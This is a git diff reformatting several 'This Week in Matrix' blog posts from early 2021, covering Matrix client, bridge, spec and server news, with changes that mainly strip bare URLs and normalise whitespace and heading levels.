1.1.1, but only 1.1.2 will be pushed to production. ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) reported: > * released 0.1.37 with some more bug fixes; catch-up sync should now be faster ; and adds support for video messages. > -> * started working on push notifications & adding web push support to Sygnal. Got a basic proof of concept working, see screenshot. - - +> * started working on push notifications & adding web push support to Sygnal. Got a basic proof of concept working, see screenshot. ![2021-03-12-Mb1e2-webpush-android-lockscreen.png](/blog/img/2021-03-12-Mb1e2-webpush-android-lockscreen.png) @@ -201,19 +205,19 @@ See more about Unified Push below. > > 1. Added a Dockerfile to build [libkazv][libkazv-dockerfile] and [its deps][deps-dockerfile]. > -> There is also a pre-built docker image [here][docker-reg]. -> You can download it using `docker image pull reg.lily.kazv.moe/kazv/libkazv/libkazv:servant`. +> There is also a pre-built docker image [here][docker-reg]. +> You can download it using `docker image pull reg.lily.kazv.moe/kazv/libkazv/libkazv:servant`. > -> [libkazv-dockerfile]: https://lily.kazv.moe/kazv/libkazv/-/blob/servant/Dockerfile +> [libkazv-dockerfile]: https://lily.kazv.moe/kazv/libkazv/-/blob/servant/Dockerfile > -> [deps-dockerfile]: https://lily.kazv.moe/kazv/libkazv-deps/-/blob/servant/Dockerfile -> [docker-reg]: https://lily.kazv.moe/kazv/libkazv/container_registry/4 +> [deps-dockerfile]: https://lily.kazv.moe/kazv/libkazv-deps/-/blob/servant/Dockerfile +> [docker-reg]: https://lily.kazv.moe/kazv/libkazv/container_registry/4 > > 2. Added method to [deal with sync gaps][fix-paginating]. > -> [fix-paginating]: https://lily.kazv.moe/kazv/libkazv/-/issues/1 +> [fix-paginating]: https://lily.kazv.moe/kazv/libkazv/-/issues/1 -See a video in action here: https://tusooa.xyz/_matrix/media/r0/download/tusooa.xyz/VHsPuGSHNDMnlASQoGmdHnBf +See a video in action here: ## Dept of Ops 🛠 @@ -221,7 +225,7 @@ See a video in action here: https://tusooa.xyz/_matrix/media/r0/download/tusooa. [jaywink](https://matrix.to/#/@jaywink:federator.dev) told us: -> Made a new Ansible role for running Mautrix-Telegram with Docker: https://git.feneas.org/jaywink/ansible-mautrix-telegram +> Made a new Ansible role for running Mautrix-Telegram with Docker: ## Dept of Interesting Projects 🛰️ @@ -233,8 +237,7 @@ See a video in action here: https://tusooa.xyz/_matrix/media/r0/download/tusooa. > > UnifiedPush has been specified for Android with some apps implementing it for a few months now, but now I've been working on specifying and implementing it for D-Bus platforms. (This is mostly intended for mobile Linux OSes such as postmarketOS, but any platform with D-Bus will work!) This means I've implemented a Gotify-based distributor that runs on Linux, and also implemented UnifiedPush in nheko to give it the capability to receive push notifications. I've yet to iron out all the details, so push in nheko isn't exactly ready to be released yet, but I can demonstrate with a video! > -> To *you*, Matrix client developers who desperately want to receive push notifications and get your app woken up while it is not running (on Linux or Android), this means that you should simply implement UnifiedPush in your app to receive pushes from the user's choice of distributor. (note: D-Bus API is not yet in the spec, but under discussion) How? See https://unifiedpush.org and join [#unifiedpush:matrix.org](https://matrix.to/#/#unifiedpush:matrix.org) to discuss it further! - +> To _you_, Matrix client developers who desperately want to receive push notifications and get your app woken up while it is not running (on Linux or Android), this means that you should simply implement UnifiedPush in your app to receive pushes from the user's choice of distributor. (note: D-Bus API is not yet in the spec, but under discussion) How? See and join [#unifiedpush:matrix.org](https://matrix.to/#/#unifiedpush:matrix.org) to discuss it further! {{ youtube_player(video_id="pag9gR8SrNQ") }} @@ -242,33 +245,34 @@ See a video in action here: https://tusooa.xyz/_matrix/media/r0/download/tusooa. [haywo](https://matrix.to/#/@haywo:nct08.de) told us: -> The keyoxide project added support for matrix: https://yarmo.eu/post/keyoxide-project-update-3#proving-matrix-identity-with%E2%80%A6 +> The keyoxide project added support for matrix: ## Dept of Guides 🧭 ### Discord bridging guide -[Cos](https://matrix.to/#/@cos:hacklab.fi) shared a nice guide to configuring [mx-puppet-discord](https://github.com/matrix-discord/mx-puppet-discord): https://boilingsteam.com/how-to-bridge-discord-in-matrix/. +[Cos](https://matrix.to/#/@cos:hacklab.fi) shared a nice guide to configuring [mx-puppet-discord](https://github.com/matrix-discord/mx-puppet-discord): . Soru, the author of mx-puppet-discord, wanted to add some clarifications for the article: > The section on having to set up your `.well-known` is slightly incorrect: mx-puppet-discord does normal C-S API discovery, so if your C-S API is not on any subdomain it will already just work, `.well-known` is just needed in case that differs. Additionally, you can set up a manual mapping in your `config.yaml` (also helpful if you need http for e.g. local development). This is totally unrelated to `setmatrixtoken`. -> +> > While the guide mentions bridges, it does not mention `setispublic 1/0` to make the bridge public / private. If you want your relay to just be usable by anyone, you should do `setispublic 1`, as then the rooms it creates aren't invite-only. -> +> > If you have any other questions or need help, please visit [#mx-puppet-bridge:sorunome.de](https://matrix.to/#/#mx-puppet-bridge:sorunome.de) , thank you! ## Final Thoughts 💭 -[Brendan Abolivier](https://matrix.to/#/@babolivier:vector.modular.im) shared this weeks ago, and we missed it. But, it's really nice content that doesn't go stale. +[Brendan Abolivier](https://matrix.to/#/@babolivier:vector.modular.im) shared this weeks ago, and we missed it. But, it's really nice content that doesn't go stale. -> I did a talk at FOSDEM 2021 two weeks ago titled "Mental health and free software" in which I talk about my experience dealing with mental health issues while working as a full-time Matrix developer and give leads to address some of these issues. I've uploaded the recording of the talk at https://tube.abolivier.bzh/videos/watch/c28a3957-25cb-4519-ad3d-9f8812f88ee2 🙂 +> I did a talk at FOSDEM 2021 two weeks ago titled "Mental health and free software" in which I talk about my experience dealing with mental health issues while working as a full-time Matrix developer and give leads to address some of these issues. I've uploaded the recording of the talk at 🙂 ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/03/2021-03-19-this-week-in-matrix-2021-03-19.md b/content/blog/2021/03/2021-03-19-this-week-in-matrix-2021-03-19.md index 71b0a0297..9d4e5cf57 100644 --- a/content/blog/2021/03/2021-03-19-this-week-in-matrix-2021-03-19.md +++ b/content/blog/2021/03/2021-03-19-this-week-in-matrix-2021-03-19.md @@ -20,11 +20,11 @@ image = "https://matrix.org/blog/img/2021-03-19-ml.png" ### Conduit accepted by Prototype Fund -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) offered: -> Hello everyone! I'm excited to announce that Conduit has been accepted by [Prototype Fund](https://prototypefund.de/en/) and will be funded by the Federal Ministry of Education and Research over the next 6 months: https://prototypefund.de/project/conduit/ +> Hello everyone! I'm excited to announce that Conduit has been accepted by [Prototype Fund](https://prototypefund.de/en/) and will be funded by the Federal Ministry of Education and Research over the next 6 months: > > The focus lies on federation support and overall improvement and stability, maybe we will even land version 1.0 at the end. > @@ -58,7 +58,7 @@ This is really excellent news! Congratulations to Timo on this achievement! > The Linux Foundation wants to use BigBlueButton and Matrix for the Linux Plumbers Conference in 2021 and is looking for developers to implement various improvements to BBB and to integrate Matrix as the in-meeting chat. > -> https://www.linuxplumbersconf.org/blog/2021/index.php/2021/03/16/rfq-sw-development-linux-plumbers-conference-2021/ +> ## Dept of Spec 📜 @@ -66,7 +66,7 @@ This is really excellent news! Congratulations to Timo on this achievement! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announced: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -99,8 +99,6 @@ This is really excellent news! Congratulations to Timo on this achievement! > > We're still working to unfreeze the spec, but in the meantime have been working on [MSC2516](https://github.com/matrix-org/matrix-doc/pull/2516) (voice messages) and [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) (spaces) plus the merged and in FCP MSCs you see above. ⬆️ - - ![2021-03-19-gB-lC-stacked_area_chart.png](/blog/img/2021-03-19-gB-lC-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -130,7 +128,7 @@ This is really excellent news! Congratulations to Timo on this achievement! ![2021-03-19-vEb-4-synapse-1.30rc1-state_ids-cpu.png](/blog/img/2021-03-19-vEb-4-synapse-1.30rc1-state_ids-cpu.png) -> If you look closely, you'll note _an order of magnitude improvement_ in our handling of the `/_matrix/federation/v1/state_ids/{roomId}` endpoint. On matrix.org, we've seen that endpoint go from averaging a few seconds of CPU time to well under 100ms. Database usage is similarly reduced. +> If you look closely, you'll note *an order of magnitude improvement* in our handling of the `/_matrix/federation/v1/state_ids/{roomId}` endpoint. On matrix.org, we've seen that endpoint go from averaging a few seconds of CPU time to well under 100ms. Database usage is similarly reduced. > > This improvement by [@clokep](https://github.com/clokep) builds on the [chain cover index](https://github.com/matrix-org/synapse/blob/v1.26.0/docs/auth_chain_difference_algorithm.md) that [@erikjohnston](https://github.com/erikjohnston) implemented in Synapse 1.26.0 to speed up the calculation of auth chain differences during state resolution. > @@ -150,7 +148,7 @@ This is really excellent news! Congratulations to Timo on this achievement! > > * New name! (Previously named matrix-appservice-line) > -> * New home: https://src.miscworks.net/fair/matrix-puppeteer-line +> * New home: > * Group chat support > > * Syncing of own messages sent from another client (must enable `bridge.invite_own_puppet_to_pm`) @@ -171,15 +169,15 @@ This is really excellent news! Congratulations to Timo on this achievement! ## Dept of Clients 📱 -### Nio, Mio, wow-io! +### Nio, Mio, wow-io [Nio](https://nio.chat) is a client written with SwiftUI [helge5](https://matrix.to/#/@helge5:matrix.org) announced: -> I ported the native https://nio.chat iPhone client to macOS Big Sur, and call that "Mio". Nio and Mio share the same SwiftUI code base, with the Mio changes being merged into the Nio upstream repository. Like Nio, Mio is still in very early stages but looks quite nice already. +> I ported the native iPhone client to macOS Big Sur, and call that "Mio". Nio and Mio share the same SwiftUI code base, with the Mio changes being merged into the Nio upstream repository. Like Nio, Mio is still in very early stages but looks quite nice already. > -> A preliminary build can be downloaded over here: https://zeezide.de/download/Mio.app-0.2.0-2.zip, and I posted a screenshot in the Nio channel: https://matrix-client.matrix.org/_matrix/media/r0/download/matrix.org/RpPiQFJytjXboshcUnqnGwrd. +> A preliminary build can be downloaded over here: , and I posted a screenshot in the Nio channel: . ![2021-03-19-qvIJN-Screenshot2021-03-07at16.47.56.png](/blog/img/2021-03-19-qvIJN-Screenshot2021-03-07at16.47.56.png) @@ -211,13 +209,13 @@ Some time ago we featured Nio running on an [M1 Mac via Catalyst](https://matrix ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) told us: > Released 0.1.39 with: > -> * Fix for always retrying decryption after fetching key backups +> * Fix for always retrying decryption after fetching key backups > > And work on progress: > @@ -232,44 +230,40 @@ A minimal Matrix chat client, focused on performance, offline functionality, and Updates from the teams: -**Delight** - - + +**Delight** -* Social Login - * MSC 2858 (multiple sso providers) has been pushed to spec -* Spaces - * Web is trailblazing private spaces, while Android is catching up on support for public spaces - * We’ve almost finished the first implementation of the Space Summary API in Synapse, so will start testing public space user flows next week! +* Social Login + * MSC 2858 (multiple sso providers) has been pushed to spec +* Spaces + * Web is trailblazing private spaces, while Android is catching up on support for public spaces + * We’ve almost finished the first implementation of the Space Summary API in Synapse, so will start testing public space user flows next week! + **VoIP** +* Another connectivity fix on web +* Fixed jitsi sometimes getting usernames instead of display names on web - -* Another connectivity fix on web -* Fixed jitsi sometimes getting usernames instead of display names on web - + **Web** Element Web 1.7.23 is now available, including: - - -* Refreshed UI for file uploads and sent messages -* Improved VoIP call connection reliability -* Added Edge to the set of supported browsers -* Added send message button to the composer +* Refreshed UI for file uploads and sent messages +* Improved VoIP call connection reliability +* Added Edge to the set of supported browsers +* Added send message button to the composer ...along with many smaller fixes. + **iOS** - - -* The [1.2.6](https://github.com/vector-im/element-ios/releases) release in on the App Store since Monday -* Trust shields have been removed from rooms list for performance -* The crypto module has received several performance improvements -* Several memory leaks have been fixed +* The [1.2.6](https://github.com/vector-im/element-ios/releases) release in on the App Store since Monday +* Trust shields have been removed from rooms list for performance +* The crypto module has received several performance improvements +* Several memory leaks have been fixed ## Dept of SDKs and Frameworks 🧰 @@ -279,8 +273,6 @@ Element Web 1.7.23 is now available, including: > Polyjuice Client 0.4.0 has been released. This release features support for more endpoints, mostly contributed by two new contributors, multi prise and Arjan Sherpenisse. This release also has some backward-incompatible changes. See the [changelog](https://gitlab.com/uhoreg/polyjuice_client/-/blob/master/CHANGELOG.md) for more information. - - ### libQuotient [kitsune](https://matrix.to/#/@kitsune:matrix.org) told us: @@ -310,6 +302,7 @@ Did you get involved with FOSDEM this year? If you hung out on Matrix that weeke Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/03/2021-03-26-this-week-in-matrix-2021-03-26.md b/content/blog/2021/03/2021-03-26-this-week-in-matrix-2021-03-26.md index bedf40b33..44723d2c8 100644 --- a/content/blog/2021/03/2021-03-26-this-week-in-matrix-2021-03-26.md +++ b/content/blog/2021/03/2021-03-26-this-week-in-matrix-2021-03-26.md @@ -26,7 +26,7 @@ It's demos week this week! Enjoy a selection of demos featuring: Spaces, low-ban [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -90,7 +90,6 @@ It's demos week this week! Enjoy a selection of demos featuring: Spaces, low-ban > > See y'all next week! - ### matrix-media-repo [matrix-media-repo](https://github.com/turt2live/matrix-media-repo) is a highly customizable multi-domain media repository for Matrix @@ -119,8 +118,6 @@ And then, following today's 1.30.1 Synapse update: > I've pushed [Helm Chart](https://gitlab.com/ananace/charts) updates for Synapse 1.30.1 and Matrix Media Repo 1.2.6 - - ### matrix-docker-ansible-deploy This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-deploy) is meant to easily let you run your own Matrix homeserver. @@ -165,7 +162,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: @@ -175,38 +172,41 @@ A minimal Matrix chat client, focused on performance, offline functionality, and ![2021-03-26-E06e8-android-notify-screenshot.png](/blog/img/2021-03-26-E06e8-android-notify-screenshot.png) - If you want to know more about Hydrogen's new shiny notifications, check out this week's Matrix live (at the top of this post)! ### Element Clients Updates from the teams: + **Delight** -* Spaces are now testable on [develop.element.io](https://develop.element.io) & matrix.org! Buyer beware: They’re in early beta, using unstable prefixes, so may break at any time. But you can test by enabling the Spaces labs flag while connecting to matrix.org or a Synapse development build -* If you’d also like access to a test build for Android, we’re working out a better way to deliver test builds, but in the meanwhile let us know in the new [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org) -* There’s lots of rough edges, but we’re first focusing on polishing public spaces, and feedback is welcome in the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), or via GitHub issues -* If you run an online community (using any platform), we’d love to talk to learn more about your general pains too, in you guessed it: the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org) -* Watch this week's Matrix Live for a demo of the above! +* Spaces are now testable on [develop.element.io](https://develop.element.io) & matrix.org! Buyer beware: They’re in early beta, using unstable prefixes, so may break at any time. But you can test by enabling the Spaces labs flag while connecting to matrix.org or a Synapse development build +* If you’d also like access to a test build for Android, we’re working out a better way to deliver test builds, but in the meanwhile let us know in the new [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org) +* There’s lots of rough edges, but we’re first focusing on polishing public spaces, and feedback is welcome in the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org), or via GitHub issues +* If you run an online community (using any platform), we’d love to talk to learn more about your general pains too, in you guessed it: the [spaces feedback room](https://matrix.to/#/#spaces-feedback:matrix.org) +* Watch this week's Matrix Live for a demo of the above! + **VoIP** -* Not too much news this week, but look out for another connectivity fix in next week’s element web release. +* Not too much news this week, but look out for another connectivity fix in next week’s element web release. + **Web** -* Element Web 1.7.24-rc.1 on staging, including: - * Additional VoIP call connection reliability improvements - * Added invite option to room tile context menu - * Improved cross-signing login flow -* On develop / nightly: - * Improved invite error handling - * Search indexing errors now properly state the error, instead of asking you to use desktop (when you already are) +* Element Web 1.7.24-rc.1 on staging, including: + * Additional VoIP call connection reliability improvements + * Added invite option to room tile context menu + * Improved cross-signing login flow +* On develop / nightly: + * Improved invite error handling + * Search indexing errors now properly state the error, instead of asking you to use desktop (when you already are) + **iOS** -* Element-iOS [1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7) is already available from TestFlight and will be available on the App Store on Monday. +* Element-iOS [1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7) is already available from TestFlight and will be available on the App Store on Monday. ## Dept of SDKs and Frameworks 🧰 @@ -226,9 +226,9 @@ Updates from the teams: > > In the past 2 week we ("tusooa and her longcat," we hope someday we can remove this annotation :P): > -> 1. Recorded state events in timeline. https://lily.kazv.moe/kazv/libkazv/-/merge_requests/2 +> 1. Recorded state events in timeline. > -> 2. Added support for streaming download. https://lily.kazv.moe/kazv/libkazv/-/merge_requests/3 +> 2. Added support for streaming download. ### Ruby @@ -240,7 +240,7 @@ Updates from the teams: [a_v_p](https://matrix.to/#/@a_v_p:matrix.org) said: -> Hello everybody! I released Guile-Deck 0.1.0, GNU Guile SDK for Matrix network: https://lists.gnu.org/archive/html/guile-user/2021-03/msg00048.html +> Hello everybody! I released Guile-Deck 0.1.0, GNU Guile SDK for Matrix network: > > This library allows to write Matrix clients in Scheme Lisp. @@ -250,9 +250,9 @@ Updates from the teams: [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) offered: -> I've written a simple little script that connects to CalDav servers and sends me a summary of the events for the day over Matrix. https://gitlab.com/uhoreg/matrix_daily_calendar I find it useful as I don't have enough meetings that I'm constantly checking my calendar, so having a message at the beginning of the day helps me remember the meetings that I do have. +> I've written a simple little script that connects to CalDav servers and sends me a summary of the events for the day over Matrix. I find it useful as I don't have enough meetings that I'm constantly checking my calendar, so having a message at the beginning of the day helps me remember the meetings that I do have. -## Dept of *Built on Matrix* 🏗️ +## Dept of _Built on Matrix_ 🏗️ ### 🌵 Cactus Comments @@ -277,7 +277,7 @@ Updates from the teams: > > If you forked the CSS to style it yourself, you may want to replace it with the new CSS file and add your changes again, to get the new styling. > -> Come play with the demo: https://cactus.chat +> Come play with the demo: > > Join our Matrix room: [#cactus:cactus.chat](https://matrix.to/#/%23cactus:cactus.chat) @@ -285,7 +285,7 @@ Updates from the teams: ### krazykirby99999's guide to creating Matrix bots -[krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) shared with us their guide for creating simple Matrix bots in Python: https://www.reddit.com/r/matrixdotorg/comments/mdqitp/how_to_create_a_matrix_bot/ +[krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) shared with us their guide for creating simple Matrix bots in Python: ## Final Thoughts 💭 @@ -295,9 +295,9 @@ Updates from the teams: > > Feedback, ideas and question are very welcome! > -> Website: https://www.serenity.re/en/notes +> Website: > -> The app/client source is available here: https://github.com/SerenityNotes/serenity-notes-clients +> The app/client source is available here: This is not a project built directly on Matrix, but I thought it was a very cool use of Matrix's end-to-end encryption library, [olm](https://gitlab.matrix.org/matrix-org/olm)! @@ -306,6 +306,7 @@ This is not a project built directly on Matrix, but I thought it was a very cool Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -322,6 +323,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|shortestpath.dev|1427| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/04/2021-04-01-this-week-in-matrix-2021-04-01.md b/content/blog/2021/04/2021-04-01-this-week-in-matrix-2021-04-01.md index c05904119..2645162d2 100644 --- a/content/blog/2021/04/2021-04-01-this-week-in-matrix-2021-04-01.md +++ b/content/blog/2021/04/2021-04-01-this-week-in-matrix-2021-04-01.md @@ -27,10 +27,10 @@ Just keep the date in mind as you read these updates from the community. 😉 [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -48,20 +48,18 @@ Just keep the date in mind as you read these updates from the community. 😉 > * [MSC3079: Low Bandwidth CS API](https://github.com/matrix-org/matrix-doc/pull/3079) > * [MSC3077: Support for multi-stream VoIP](https://github.com/matrix-org/matrix-doc/pull/3077) > -> #### Spec Core Team +> ### Spec Core Team > > The Spec Core Team had another retro this week. We're happy with the increased amount of MSCs flowing through the pipeline, but there's still a huge amount of work to get through, mainly revolving around prioritisation. > > Don't let that keep you from sending in your well-formed MSCs however - the more the merrier! > -> #### New Spec Platform +> ### New Spec Platform > -> The unstable version of the spec now lives entirely on https://spec.matrix.org! Redirects have been put in place from the old spec to the new for unstable. Stable versions will be moved over in time (and the redirects will hopefully better preserve url paths!). +> The unstable version of the spec now lives entirely on ! Redirects have been put in place from the old spec to the new for unstable. Stable versions will be moved over in time (and the redirects will hopefully better preserve url paths!). > > We're also planning to unfreeze the spec shortly so that spec PRs can start flowing again. We now just need to clear up the old buildtools from the [matrix-doc](https://github.com/matrix-org/matrix-doc). - - ![2021-04-01-tN1MO-stacked_area_chart.png](/blog/img/2021-04-01-tN1MO-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -89,7 +87,7 @@ Just keep the date in mind as you read these updates from the community. 😉 > * Basic support for broadcast lists (WhatsApp's mass DM feature). > * Option to re-sync chat and user metadata less aggressively to avoid WhatsApp rate limits on big accounts (if you get 599 errors, enable this). > -> Full changelog on GitHub: https://github.com/tulir/mautrix-whatsapp/releases/tag/v0.1.6 +> Full changelog on GitHub: ## Dept of Clients 📱 @@ -136,7 +134,6 @@ Just keep the date in mind as you read these updates from the community. 😉 > * Sync errors are now shown at the top of the room list. > * A few basic localisations (aka Google Translate) have been added. - {{ youtube_player(video_id="OdXa_nY-Zs0") }} New room: [#watchthe:matrix.org](https://matrix.to/#/#watchthe:matrix.org) @@ -145,34 +142,31 @@ New room: [#watchthe:matrix.org](https://matrix.to/#/#watchthe:matrix.org) From the teams: + **Delight** +* Spaces + * We’ve been iterating on our initial implementation of private spaces, including getting the first parts of restricting room membership to space membership in Synapse + * We’re also breaking out larger MSCs into smaller ones, like [this draft](https://github.com/matrix-org/matrix-doc/pull/3083) on space membership. - -* Spaces - * We’ve been iterating on our initial implementation of private spaces, including getting the first parts of restricting room membership to space membership in Synapse - * We’re also breaking out larger MSCs into smaller ones, like [this draft](https://github.com/matrix-org/matrix-doc/pull/3083) on space membership. - + **Web** +* 1.7.24 released on Monday + * Additional VoIP call connection reliability improvements + * Added invite option to room tile context menu + * Improved cross-signing login flow +* On develop + * Added prompt before quit in desktop + * Fixed recovery key loop at login + * Indexing errors added to settings - -* 1.7.24 released on Monday - * Additional VoIP call connection reliability improvements - * Added invite option to room tile context menu - * Improved cross-signing login flow -* On develop - * Added prompt before quit in desktop - * Fixed recovery key loop at login - * Indexing errors added to settings - + **iOS** - - -* We made 1.2.7 ([https://github.com/vector-im/element-ios/releases/tag/v1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7)) available on the App Store. -* We continued to iterate and polish the new text composer. You can preview changes in videos in our PRs: [https://github.com/vector-im/element-ios/pull/4146](https://github.com/vector-im/element-ios/pull/4146), [https://github.com/vector-im/element-ios/pull/4151](https://github.com/vector-im/element-ios/pull/4151) -* The code that manages background syncs for the notification extension has been refactored to limit RAM usage. It will fix the out of memory crash. +* We made 1.2.7 ([https://github.com/vector-im/element-ios/releases/tag/v1.2.7](https://github.com/vector-im/element-ios/releases/tag/v1.2.7)) available on the App Store. +* We continued to iterate and polish the new text composer. You can preview changes in videos in our PRs: [https://github.com/vector-im/element-ios/pull/4146](https://github.com/vector-im/element-ios/pull/4146), [https://github.com/vector-im/element-ios/pull/4151](https://github.com/vector-im/element-ios/pull/4151) +* The code that manages background syncs for the notification extension has been refactored to limit RAM usage. It will fix the out of memory crash. ## Dept of Guides 🧭 @@ -184,15 +178,15 @@ From the teams: > > And the best concrete solution I've heard, I'm not kidding, was that they're happy with the GDPR and that they want to keep that. > -> Knowledge of the internet is pretty dire in the EU, and I wanted to educate people a little. So I made a video explaining what a decentralized open communication network is: https://youtu.be/v5Y8zCwIxjI +> Knowledge of the internet is pretty dire in the EU, and I wanted to educate people a little. So I made a video explaining what a decentralized open communication network is: > -> Additionally, I wrote an article for people and politicians to read through, where I share my opinion on how and why the EU should encourage companies to allow for interoperability: https://noordstar.me/b/decentralize.md +> Additionally, I wrote an article for people and politicians to read through, where I share my opinion on how and why the EU should encourage companies to allow for interoperability: ## Dept of Jobs 💰️ ### Hiring at Element -[Element](https://element.io/), the company which employs much of the Matrix core team, is growing! [Element are hiring for a number of different roles](https://apply.workable.com/elementio/), 14 of which are currently listed and spec'd. +[Element](https://element.io/), the company which employs much of the Matrix core team, is growing! [Element are hiring for a number of different roles](https://apply.workable.com/elementio/), 14 of which are currently listed and spec'd. * [Senior Developer Advocate](https://apply.workable.com/elementio/j/753D31F3B9/) * [Office Administrator (fluent French)](https://apply.workable.com/elementio/j/3074DA8714/) @@ -210,13 +204,14 @@ From the teams: However, also note what's written at the end of the page: -> Can’t find the right role? Feel free to reach out to Mischa (@mischawalmsley:matrix.org) via https://app.element.io or email your resume to elementio@jobs.workablemail.com to be considered for new positions in the future. +> Can’t find the right role? Feel free to reach out to Mischa (@mischawalmsley:matrix.org) via or email your resume to to be considered for new positions in the future. ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -233,6 +228,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|glowers.club|1896| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/04/2021-04-09-this-week-in-matrix-2021-04-09.md b/content/blog/2021/04/2021-04-09-this-week-in-matrix-2021-04-09.md index 6138e1018..082da43f5 100644 --- a/content/blog/2021/04/2021-04-09-this-week-in-matrix-2021-04-09.md +++ b/content/blog/2021/04/2021-04-09-this-week-in-matrix-2021-04-09.md @@ -14,7 +14,7 @@ image = "https://matrix.org/images/cactus-comments.png" {{ youtube_player(video_id="bAaAmyP5_Z4") }} -## Google Summer of Code - GSoC -- Final Call: put your seatbelts on! +## Google Summer of Code - GSoC -- Final Call: put your seatbelts on From [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev), who is assisting with GSoC admin this year: @@ -28,7 +28,7 @@ From [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev), wh [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -58,8 +58,6 @@ From [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev), wh > > With this out of the way, we move forward migrating the old spec pages over to the new site, as well as to the next release of the spec, which will feature a [new global versioning scheme](https://github.com/matrix-org/matrix-doc/pull/2844)! - - 